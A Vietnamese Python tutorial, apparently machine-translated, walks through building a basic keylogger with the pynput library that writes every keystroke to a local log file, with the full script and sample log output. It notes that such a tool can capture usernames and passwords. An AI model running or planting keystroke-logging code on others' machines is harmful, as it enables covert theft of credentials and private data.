Computer >> Máy Tính >  >> Lập trình >> Python

Thiết kế Keylogger bằng Python

Ở đây chúng ta sẽ phát triển một keylogger bằng python. Nhưng trước đó, keylogger là gì? Keylogger là một chương trình mà chúng tôi theo dõi các lần gõ phím. Các tổ hợp phím này sẽ được lưu trữ trong một tệp nhật ký. Chúng tôi có thể ghi lại thông tin nhạy cảm như tên người dùng và mật khẩu bằng cách sử dụng tổ hợp phím này.

Để tạo keylogger, chúng ta sẽ sử dụng mô-đun pynput. Vì nó không phải là thư viện tiêu chuẩn của python, chúng tôi có thể cần cài đặt nó.

Cài đặt mô-đun pyxhook -

Tôi sẽ sử dụng pip để cài đặt pynput -

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

Để kiểm tra cài đặt của chúng tôi thành công, hãy thử nhập mô-đun trong trình bao python của bạn

>>> import pynput
>>>

Bắt đầu xây dựng keylogger

Sau khi thư viện bắt buộc được cài đặt, hãy nhập các gói và phương thức bắt buộc. Để theo dõi bàn phím, chúng ta sẽ sử dụng phương thức phím và bộ nghe của mô-đun pynput.keyboard. Chúng tôi cũng sẽ sử dụng mô-đun ghi nhật ký để ghi các lần gõ phím của chúng tôi vào một tệp.

from pynput.keyboard import Key, Listener
import logging

Tiếp theo, chúng ta sẽ đặt đường dẫn nơi chúng ta sẽ lưu trữ các tệp nhật ký của mình, nhật ký sẽ được lưu trữ ở chế độ nào và định dạng.

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

Sau đó, chúng tôi gọi hàm on_press () tạo định nghĩa cho các lần nhấn phím và lấy khóa làm tham số.

def on_press(key):
   logging.info(str(key))

Điều cuối cùng chúng ta sẽ làm là thiết lập một thể hiện của Listener và xác định phương thức on_press trong đó, sau đó nối thể hiện với luồng chính.

with Listener(on_press=on_press) as listener:
listener.join()

Khi kết hợp bước đã đề cập ở trên, chúng tôi đang trong giai đoạn tạo chương trình cuối cùng của mình -

from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()

Trong khi tập lệnh của tôi đang chạy, tôi đã cố gắng mở trình duyệt và nhập “xin chào thế giới, Wikipedia”. Hãy xem điều gì đã xảy ra với tệp nhật ký của chúng tôi -

Tôi có thể thấy, tệp “keyLog.txt” được tạo trong màn hình máy tính của tôi và nếu tôi cố gắng xem nội dung của nó, tôi sẽ nhận được -

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

Vì vậy, chúng tôi có thể thấy bất cứ điều gì tôi đã cố gắng nhập trong trình duyệt của mình, mọi tổ hợp phím đều được lưu trữ trong tệp này. Vì vậy, chúng tôi đã tạo một trình ghi khóa rất đơn giản trong python tại đây.